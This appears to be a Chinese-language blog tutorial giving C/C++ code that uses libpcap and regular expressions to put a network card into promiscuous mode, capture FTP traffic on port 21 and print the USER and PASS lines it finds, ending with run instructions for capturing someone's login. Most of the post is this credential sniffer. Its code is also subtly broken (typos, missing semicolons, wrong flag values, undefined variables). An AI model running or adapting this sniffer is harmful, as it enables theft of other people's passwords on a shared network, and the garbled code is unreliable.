首先要安装libpcap库,可以在这里下载到源码,安装过程中可能会提示需要安装flex和bison两个软件,用新立得装上就OK了~~下面分析一下主要代码:
//pcap和正则表达式需要如下头文件:
#include <pcap/pcap.h>
#include <regex.h>
//首先定义几个结构体,用于解析获取到的数据包:
//以太网数据帧头部
#define ETHER_ADDR_LEN 6
struct sniff_ethernet{
u_char ether_dhost[ETHER_ADDR_LEN];
u_char ether_shost[ETHER_ADDR_LEN];
u_short ether_type; //IP,ARP,RARP….
}
//IP数据包头部
struct sniff_ip{
u_char ip_vhl; //版本与头部长
u_char ip_tos; //服务类型
u_short ip_len; //总长
u_short ip_id; //标识
u_short ip_off; //片偏移
#define IP_RF 0×8000
#define IP_DF 0×4000
#define IP_MF 0×2000
#define IP_OFFMASK 0×1fff
u_char ip_ttl; //Time to live
u_char ip_p; //协议
u_short ip_sum; //头部校验和
struct in_addr ip_src; //源IP地址
struct in_addr ip_dst; //目的IP地址
//struct in_addr在netinet/in.h中定义
}
#define IP_HL(ip) (((ip)->ipvhl)&0×0f) //获取IP头部长度
#define IP_V(ip) (((ip)->ipvhl)&4) //获取IP版本
//TCP数据包头部
struct sniff_tcp{
u_short th_sport; //源端口
u_short th_dport; //目标端口
u_int th_seq; //序列号
u_int th_ack; //确认号
u_char th_offx2; //头部长与保留位
#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
u_char th_flags; //代码位
#define TH_FIN 0×01
#define TH_SYN 0×20
#define TH_RST 0×04;
#define TH_PUSH 0×08
#define TH_ACK 0×10
#define TH_URG 0×20
#define TH_ECE 0×40
#define TH_CWR 0×80
#define TH_FLAGS (TH_FIN | TH_SYN | TH_RST | TH_ACK
| TH_URG | TH_ECE | TH_CWR)
u_short th_win; //窗口
u_short th_sum; //校验和
u_short th_urp; //紧急指针
}
上面这些结构体的格式都系根据网络标准协议来定义的,有兴趣的可以自己去具体看看,下面分析一下具体代码,具体函数原型以及更多的示例可参考pcap的参考文档以及GNU C Library的Pattern Matching相关章节:
//初始化正则表达式
regex_t userPtn,passPtn;
regcomp(&userPtn,"USER \\w*\r\n",0);
regcomp(&passPtn,"PASS \\w*\r\n",0);
//初始化网卡,置于混杂模式
bpf_u_int32 mask,net;
pcap_t *handle;
pcap_loopupnet(argv[1],&net,&mask,NULL);
handle=pcap_open_live(argv[1],BUFSIZ,1,1000,NULL);
//初始化过滤器,只关注出入21端口(FTP)的数据
struct bpf_program filter;
char fexp[]="port 21";
pcap_compile(handle,&filter,fexp,0,net);
pcap_setfilter(handle,&filter);
//开始捕捉数据
cout << "Waiting for data …" << endl;
pcap_loop(handle,-1,packet_handler,NULL);
//packet_handler系一个回调函数(callback function),pcap_loop方
//法每次捕捉到数据都会调用该函数,其内容如下:
void packet_handler(u_char *args,const struct pcap_pkthdr *header,
const u_char *packet){
struct sniff_ethernet *ether;
struct sniff_ip *ip;
struct sniff_tcp *tcp;
char *payload
u_int size_ip;
u_int size_tcp;
//分析数据包
ether=(struct sniff_ethernet *)(packet);
ip=(struct sniff_ip *)(packet+SIZE_ETHERNET);
size_ip=IP_HL(ip)*4;
tcp=(struct sniff_tcp *)(packet+SIZE_ETHERNET+size_ip);
size_tcp=TH_OFF(tcp)*4;
payload=(char *)(packet+SIZE_ETHERNET+size_ip+size_tcp);
//判断���否包含有用户名/密码信息
regmatch_t result[1];
if(regexec(&userPtn,payload,1,result,0)==0 ||
regexec(&passPtn,payload,1,result,0)==0){
//截取用户名或密码
int head=result[0].rm_so;
int tail=result[0].rm_eo;
char rs[128];
strncpy(rs,str+head,tail-head-2);
cout << rs << endl;
}
}
用g++编译的时候记得要加上-lpcap参数,运行时输入sudo ./XXX eth0,然后用FTP客户端登录即可捕获到登录的用户名和密码。
0 意見